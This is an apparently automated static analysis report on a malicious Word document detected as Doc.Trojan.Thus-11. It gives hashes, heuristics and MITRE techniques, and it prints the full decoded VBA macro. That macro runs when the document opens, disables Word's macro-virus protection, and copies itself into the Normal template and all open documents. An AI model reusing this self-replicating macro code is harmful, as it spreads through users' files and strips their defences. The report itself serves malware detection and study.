Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f85c64332665952…

MALICIOUS

Office (OLE)

236.5 KB Created: 2007-06-07 20:57:00 Authoring application: Microsoft Word 10.1 First seen: 2015-09-30
MD5: 8de0481e4700d407a9942ab024a78c30 SHA-1: 3392bb2a938b81349a92e87770499c6a4acb280f SHA-256: 4f85c6433266595282d604c4ca281ff7375775a02f2a82da67126517a6b1590d
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample contains VBA macros that attempt to disable macro security and replicate themselves to other open documents. The macro explicitly mentions 'Thus_001' and disabling 'VirusProtection', indicating a self-propagation and evasion attempt. The ClamAV detection 'Doc.Trojan.Thus-11' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-11
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    '-- This macro is designed to search your word documents and remove the Thus_001 macro.
    Application.Options.VirusProtection = False
    '-- Remove Thus_001 from all open components
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2318 bytes
SHA-256: a16221eba27b7299b873a37167b05a83a3975c169e281a0aa7b2493722f19c5d
Detection
ClamAV: Doc.Trojan.Thus-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
Dim k
'-- A macro called Thus_001 propegates to all open word documents and is
'-- set to delete all files on a users c: drive on December 13th.

'-- This macro is designed to search your word documents and remove the Thus_001 macro.
    Application.Options.VirusProtection = False
    '-- Remove Thus_001 from all open components
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
            .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
            .CodeModule.CountOfLines
    End If
    '-- Insert Virus Protector into open components
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
            .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
            .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
            .Item(1).CodeModule.CountOfLines)
    End If

    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    '-- Remove Thus_001 from all open documents
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.deletelines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    '-- Insert virus Protector into open documents
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.